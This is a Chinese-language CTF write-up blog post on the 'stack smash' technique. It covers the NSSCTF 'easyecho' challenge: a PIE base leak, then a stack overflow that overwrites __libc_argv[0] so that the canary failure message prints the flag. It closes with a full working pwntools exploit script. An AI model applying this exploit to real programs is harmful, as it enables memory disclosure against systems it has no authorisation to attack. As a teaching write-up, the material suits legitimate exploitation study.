stack_Smach

stack smach

​ 这类型的题目通常会存在通常会存在canary保护,因为这是利用canary的报错时会程序会执__stack_chk_fail 函数来打印 __libc_argv[0] 指针所指向的字符串(默认存储的是程序的名称),我们就可以通过栈溢出来覆盖到 __libc_argv[0] 为我们想要泄漏的地址,就能泄露对应的内容。

例题(nssctf easyecho)

首先检查保护

image-20230721194033363

保护全开

进行动态调试,先把断点下到第四个printf(偏移为0xB2E)处

image-20230721194252940

发现栈上存在一个push rbx命令的地址,那么我们可以在这个地址前面的栈空间里面填满内容,这样就可以通过接下来代码中的%s来泄露这串地址,泄露了这串地址我们就可以得知这一内存页的基地址即(leak addr-0xcf0),有了基地址,而在ida中可以查看每行命令的偏移量,那就可以做到泄露出存放flag的地址即(leak addr - 0xcf0 + 0x202040)

image-20230721194711910

可以通过调试得出从输入口到文件名字位置的偏移量为0x168从而可以把canary报错时出现的文件名替换为flag位置,从而泄露flag,当然最后必须要保证整个程序可以成功的return,不然也不会出现报错。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from struct import pack
from LibcSearcher import *

def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sal(a, b):
p.sendlineafter(a, b)
def r():
print(p.recv())
def rl(a):
p.recvuntil(a)
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
#p = remote('node4.anna.nssctf.cn',28782)
elf = ELF('./pwn')
sal(b'Name: ', b'a'*0x10)
rl(b'a'*0x10)
pro_base = u64(p.recv(6).ljust(8, b'\x00')) - 0xcf0
sal(b'Input: ', b'backdoor\x00')
flag_addr = pro_base + 0x202040
payload = b'a'*0x168 + p64(flag_addr)
sal(b'Input: ', payload)
sal(b'Input: ', b'exitexit')
r()
r()
p.interactive()

stack_Smach
http://ak0er.github.io/2024/05/04/stack-Smach/
作者
Ak0er
发布于
2024年5月4日
许可协议